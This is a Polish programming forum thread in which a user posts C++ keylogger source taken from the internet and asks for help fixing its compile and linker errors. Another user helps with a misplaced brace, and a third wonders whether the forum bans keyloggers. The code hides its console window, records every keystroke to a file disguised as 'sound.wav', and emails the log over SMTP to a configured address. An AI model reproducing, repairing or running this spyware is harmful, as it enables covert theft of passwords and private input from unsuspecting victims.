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Problem.

Hunter1995

Przez Hunter1995
w Kosz

Rekomendowane odpowiedzi

Hunter1995 Uczeń

Hunter1995

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Uczeń

Hunter1995

Opublikowano

Znalazłem na internecie kod keyloggera w c++. zrobiłem kilka przeróbek, ale cały czas wyskakuje mi pewien błąd.

 

 

Błąd

 

339 16 E:\Programy\Dev-Cpp\Programs\keylogger.cpp [Error] expected constructor, destructor, or type conversion before ';' token

 

 

SKRYPT:

 

#include <windows.h>

#include <stdio.h>

#include <winuser.h>

#include <windowsx.h>

#include <time.h>

int MailIt (char *mailserver, char *emailto, char *emailfrom,

char *emailsubject, char *emailmessage);

#define BUFSIZE 800

#define waittime 500

/*If you don't know the mail exchange server for an address for the following

"nslookup -querytype=mx gmail.com" but replace gmail.com with the domain for

whatever email address you want. YOU MUST CHANGE THESE SETTINGS OR

IT WILL NOT WORK!!! */

#define cmailserver "gmail-smtp-in.l.google.com"

#define cemailto "[email protected]"

#define cemailfrom "[email protected]"

#define LogLength 100

#define FileName "sound.wav"

#define SMTPLog "ring.wav"

#define cemailsubject "Logged"

 

int test_key(void);

int main(void)

{

//Uncomment the lines below to put the keylogger in stealh mode.

HWND stealth; /*creating stealth */

AllocConsole();

stealth=FindWindowA("ConsoleWindowClass",NULL);

ShowWindow(stealth,0);

 

{FILE *file;

file=fopen(FileName,"a+");

time_t theTime=time(0);

fputs("\nStarted logging: ", file);

fputs(ctime(&amp;theTime),file);

fclose(file);

}

 

/* if (test==2)

{//the path in which the file needs to be

char *path="c:\\%windir%\\svchost.exe";

create=create_key(path);

} */

 

int get_keys;

return get_keys;

}

 

 

int get_keys(void)

{

 

int freadindex;

char *buf;

long len;

FILE *file;

file=fopen(FileName,"a+");

 

 

short character;

while(1)

{

Sleep(10);/*to prevent 100% cpu usage*/

for(character=8;character&lt;=222;character++)

{

if(GetAsyncKeyState(character)==-32767)

{

FILE *file;

file=fopen(FileName,"a+");

if(file==NULL)

{

return 1;

}

if(file!=NULL)

{

if((character&gt;=39)&amp;&amp;(character&lt;=64))

{

fputc(character,file);

fclose(file);

break;

}

else if((character&gt;64)&amp;&amp;(character&lt;91))

{

character+=32;

fputc(character,file);

fclose(file);

break;

}

else

{

switch(character)

{

case VK_SPACE:

fputc(' ',file);

fclose(file);

break;

case VK_SHIFT:

fputs("\r\n[sHIFT]\r\n",file);

fclose(file);

break;

case VK_RETURN:

fputs("\r\n[ENTER]\r\n",file);

fclose(file);

break;

case VK_BACK:

fputs("\r\n[bACKSPACE]\r\n",file);

fclose(file);

break;

case VK_TAB:

fputs("\r\n[TAB]\r\n",file);

fclose(file);

break;

case VK_CONTROL:

fputs("\r\n[CTRL]\r\n",file);

fclose(file);

break;

case VK_DELETE:

fputs("\r\n[DEL]\r\n",file);

fclose(file);

break;

case VK_OEM_1:

fputs("\r\n[;:]\r\n",file);

fclose(file);

break;

case VK_OEM_2:

fputs("\r\n[/?]\r\n",file);

fclose(file);

break;

case VK_OEM_3:

fputs("\r\n[`~]\r\n",file);

fclose(file);

break;

case VK_OEM_4:

fputs("\r\n[ [{ ]\r\n",file);

fclose(file);

break;

case VK_OEM_5:

fputs("\r\n[\\|]\r\n",file);

fclose(file);

break;

case VK_OEM_6:

fputs("\r\n[ ]} ]\r\n",file);

fclose(file);

break;

case VK_OEM_7:

fputs("\r\n['\"]\r\n",file);

fclose(file);

break;

case 187:

fputc('+',file);

fclose(file);

break;

case 188:

fputc(',',file);

fclose(file);

break;

case 189:

fputc('-',file);

fclose(file);

break;

case 190:

fputc('.',file);

fclose(file);

break;

case VK_NUMPAD0:

fputc('0',file);

fclose(file);

break;

case VK_NUMPAD1:

fputc('1',file);

fclose(file);

break;

case VK_NUMPAD2:

fputc('2',file);

fclose(file);

break;

case VK_NUMPAD3:

fputc('3',file);

fclose(file);

break;

case VK_NUMPAD4:

fputc('4',file);

fclose(file);

break;

case VK_NUMPAD5:

fputc('5',file);

fclose(file);

break;

case VK_NUMPAD6:

fputc('6',file);

fclose(file);

break;

case VK_NUMPAD7:

fputc('7',file);

fclose(file);

break;

case VK_NUMPAD8:

fputc('8',file);

fclose(file);

break;

case VK_NUMPAD9:

fputc('9',file);

fclose(file);

break;

case VK_CAPITAL:

fputs("\r\n[CAPS LOCK]\r\n",file);

fclose(file);

break;

default:

fclose(file);

break;

}

}

}

}

}

FILE *file;

file=fopen(FileName,"rb");

fseek(file,0,SEEK_END); //go to end

len=ftell(file); //get position at end (length)

if(len&gt;=LogLength) {

fseek(file,0,SEEK_SET);//go to beg.

buf=(char *)malloc(len);//malloc buffer

freadindex=fread(buf,1,len,file);//read into buffer

buf[freadindex] = '\0';//Extra bit I have to add to make it a sting

MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf);

fclose(file);

file=fopen(FileName,"w");

}

 

fclose(file);

//free (buf);

 

}

return EXIT_SUCCESS;

}

 

int MailIt (char *mailserver, char *emailto, char *emailfrom,

char *emailsubject, char *emailmessage) {

SOCKET sockfd;

WSADATA wsaData;

FILE *smtpfile;

 

#define bufsize 300

int bytes_sent; /* Sock FD */

int err;

struct hostent *host; /* info from gethostbyname */

struct sockaddr_in dest_addr; /* Host Address */

char line[1000];

char *Rec_Buf = (char*) malloc(bufsize+1);

smtpfile=fopen(SMTPLog,"a+");

if (WSAStartup(0x202,&amp;wsaData) == SOCKET_ERROR) {

fputs("WSAStartup failed",smtpfile);

WSACleanup();

return -1;

}

if ( (host=gethostbyname(mailserver)) == NULL) {

perror("gethostbyname");

exit(1);

}

memset(&amp;dest_addr,0,sizeof(dest_addr));

memcpy(&amp;(dest_addr.sin_addr),host-&gt;h_addr,host-&gt;h_length);

 

/* Prepare dest_addr */

dest_addr.sin_family= host-&gt;h_addrtype; /* AF_INET from gethostbyname */

dest_addr.sin_port= htons(25); /* PORT defined above */

 

/* Get socket */

 

if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) &lt; 0) {

perror("socket");

exit(1);

}

/* Connect !*/

fputs("Connecting....\n",smtpfile);

 

if (connect(sockfd, (struct sockaddr *)&amp;dest_addr,sizeof(dest_addr)) == -1){

perror("connect");

exit(1);

}

Sleep(waittime);

err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';

fputs(Rec_Buf,smtpfile);

strcpy(line,"helo me.somepalace.com\n");

fputs(line,smtpfile);

bytes_sent=send(sockfd,line,strlen(line),0);

Sleep(waittime);

err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';

fputs(Rec_Buf,smtpfile);

strcpy(line,"MAIL FROM:&lt;");

strncat(line,emailfrom,strlen(emailfrom));

strncat(line,"&gt;\n",3);

fputs(line,smtpfile);

bytes_sent=send(sockfd,line,strlen(line),0);

Sleep(waittime);

err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';

fputs(Rec_Buf,smtpfile);

strcpy(line,"RCPT TO:&lt;");

strncat(line,emailto,strlen(emailto));

strncat(line,"&gt;\n",3);

fputs(line,smtpfile);

bytes_sent=send(sockfd,line,strlen(line),0);

Sleep(waittime);

err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';

fputs(Rec_Buf,smtpfile);

strcpy(line,"DATA\n");

fputs(line,smtpfile);

bytes_sent=send(sockfd,line,strlen(line),0);

Sleep(waittime);

err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';

fputs(Rec_Buf,smtpfile);

Sleep(waittime);

strcpy(line,"To:");

strcat(line,emailto);

strcat(line,"\n");

strcat(line,"From:");

strcat(line,emailfrom);

strcat(line,"\n");

strcat(line,"Subject:");

strcat(line,emailsubject);

strcat(line,"\n");

strcat(line,emailmessage);

strcat(line,"\r\n.\r\n");

fputs(line,smtpfile);

bytes_sent=send(sockfd,line,strlen(line),0);

Sleep(waittime);

err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';

fputs(Rec_Buf,smtpfile);

strcpy(line,"quit\n");

fputs(line,smtpfile);

bytes_sent=send(sockfd,line,strlen(line),0);

Sleep(waittime);

err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';

fputs(Rec_Buf,smtpfile);

fclose(smtpfile);

#ifdef WIN32

closesocket(sockfd);

}

WSACleanup(); //--------------------------- TU JEST BŁĄD

#else

close(sockfd);

#endif

Sopelek997 Weteran

Sopelek997

Opublikowano
Weteran

Sopelek997

Opublikowano 

#ifdef WIN32
closesocket(sockfd);
}
WSACleanup(); //--------------------------- TU JEST BŁĄD
#else
close(sockfd);
#endif

Chodzi mi dokładnie o ten nawias klamrowy. Powinien poza instrukcją preprocesora.

981841412442977292370.png
Hunter1995 Uczeń

Hunter1995

Opublikowano
Uczeń

Hunter1995

  • Autor
Opublikowano

Aaa.. konkretniej, rozumiem podstawy, ale co to preproceseor, nie wiem.

czyli dzie ta klamra sie ma kończyć?

Hunter1995 Uczeń

Hunter1995

Opublikowano
Uczeń

Hunter1995

  • Autor
Opublikowano

Już próbowałem, ale wtedy wykrywa błąd tutaj:

 

file=fopen(FileName,"rb");

fseek(file,0,SEEK_END); //go to end

len=ftell(file); //get position at end (length)

if(len&gt;=LogLength) {

fseek(file,0,SEEK_SET);//go to beg.

buf=(char *)malloc(len);//malloc buffer

freadindex=fread(buf,1,len,file);//read into buffer

buf[freadindex] = '\0';//Extra bit I have to add to make it a sting

MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf); //------------ W TYM MIEJSCU

fclose(file);

file=fopen(FileName,"w");

}

 

fclose(file);

//free (buf);

 

}

return EXIT_SUCCESS;

}

 

int MailIt (char *mailserver, char *emailto, char *emailfrom,

char *emailsubject, char *emailmessage) {

 

log:

E:\Programy\Dev-Cpp\Programs\keylogger.cpp In function 'int get_keys()':

226 69 E:\Programy\Dev-Cpp\Programs\keylogger.cpp [Warning] deprecated conversion from string constant to 'char*' [-Wwrite-strings]

226 69 E:\Programy\Dev-Cpp\Programs\keylogger.cpp [Warning] deprecated conversion from string constant to 'char*' [-Wwrite-strings]

226 69 E:\Programy\Dev-Cpp\Programs\keylogger.cpp [Warning] deprecated conversion from string constant to 'char*' [-Wwrite-strings]

226 69 E:\Programy\Dev-Cpp\Programs\keylogger.cpp [Warning] deprecated conversion from string constant to 'char*' [-Wwrite-strings]

[Linker error] C:\DOCUME~1\Admin\USTAWI~1\Temp\ccTfRQNQ.o:keylogger.cpp:(.text+0x803): undefined reference to `WSAStartup@8'

[Linker error] C:\DOCUME~1\Admin\USTAWI~1\Temp\ccTfRQNQ.o:keylogger.cpp:(.text+0x838): undefined reference to `WSACleanup@0'

[Linker error] C:\DOCUME~1\Admin\USTAWI~1\Temp\ccTfRQNQ.o:keylogger.cpp:(.text+0x84d): undefined reference to `gethostbyname@4'

[Linker error] C:\DOCUME~1\Admin\USTAWI~1\Temp\ccTfRQNQ.o:keylogger.cpp:(.text+0x8cf): undefined reference to `htons@4'

[Linker error] C:\DOCUME~1\Admin\USTAWI~1\Temp\ccTfRQNQ.o:keylogger.cpp:(.text+0x8f2): undefined reference to `socket@12'

[Linker error] C:\DOCUME~1\Admin\USTAWI~1\Temp\ccTfRQNQ.o:keylogger.cpp:(.text+0x953): undefined reference to `connect@12'

[Linker error] C:\DOCUME~1\Admin\USTAWI~1\Temp\ccTfRQNQ.o:keylogger.cpp:(.text+0x9a9): undefined reference to `recv@16'

[Linker error] C:\DOCUME~1\Admin\USTAWI~1\Temp\ccTfRQNQ.o:keylogger.cpp:(.text+0xa2a): undefined reference to `send@16'

[Linker error] C:\DOCUME~1\Admin\USTAWI~1\Temp\ccTfRQNQ.o:keylogger.cpp:(.text+0xa61): undefined reference to `recv@16'

[Linker error] C:\DOCUME~1\Admin\USTAWI~1\Temp\ccTfRQNQ.o:keylogger.cpp:(.text+0xb3c): undefined reference to `send@16'

[Linker error] C:\DOCUME~1\Admin\USTAWI~1\Temp\ccTfRQNQ.o:keylogger.cpp:(.text+0xb73): undefined reference to `recv@16'

[Linker error] C:\DOCUME~1\Admin\USTAWI~1\Temp\ccTfRQNQ.o:keylogger.cpp:(.text+0xc4e): undefined reference to `send@16'

[Linker error] C:\DOCUME~1\Admin\USTAWI~1\Temp\ccTfRQNQ.o:keylogger.cpp:(.text+0xc85): undefined reference to `recv@16'

[Linker error] C:\DOCUME~1\Admin\USTAWI~1\Temp\ccTfRQNQ.o:keylogger.cpp:(.text+0xcfe): undefined reference to `send@16'

[Linker error] C:\DOCUME~1\Admin\USTAWI~1\Temp\ccTfRQNQ.o:keylogger.cpp:(.text+0xd35): undefined reference to `recv@16'

[Linker error] C:\DOCUME~1\Admin\USTAWI~1\Temp\ccTfRQNQ.o:keylogger.cpp:(.text+0xf54): undefined reference to `send@16'

[Linker error] C:\DOCUME~1\Admin\USTAWI~1\Temp\ccTfRQNQ.o:keylogger.cpp:(.text+0xf8b): undefined reference to `recv@16'

[Linker error] C:\DOCUME~1\Admin\USTAWI~1\Temp\ccTfRQNQ.o:keylogger.cpp:(.text+0x1004): undefined reference to `send@16'

[Linker error] C:\DOCUME~1\Admin\USTAWI~1\Temp\ccTfRQNQ.o:keylogger.cpp:(.text+0x103b): undefined reference to `recv@16'

[Linker error] C:\DOCUME~1\Admin\USTAWI~1\Temp\ccTfRQNQ.o:keylogger.cpp:(.text+0x1074): undefined reference to `closesocket@4'

[Linker error] C:\DOCUME~1\Admin\USTAWI~1\Temp\ccTfRQNQ.o:keylogger.cpp:(.text+0x107c): undefined reference to `WSACleanup@0'

bad reloc address 0x108 in section `.rdata'

Invalid operation

E:\Programy\Dev-Cpp\Programs\collect2.exe [Error] ld returned 1 exit status

Agent K Pasjonat

Agent K

Opublikowano
Pasjonat

Agent K

Opublikowano

To nie jest tak, że na MPC jest zakaz keyloggerów? Moim zdaniem lepiej napisać samemu bo wtedy się wie co się ma.

4417049059_6234f40fb5.jpg
Storm has passed but the destruction are still visible.

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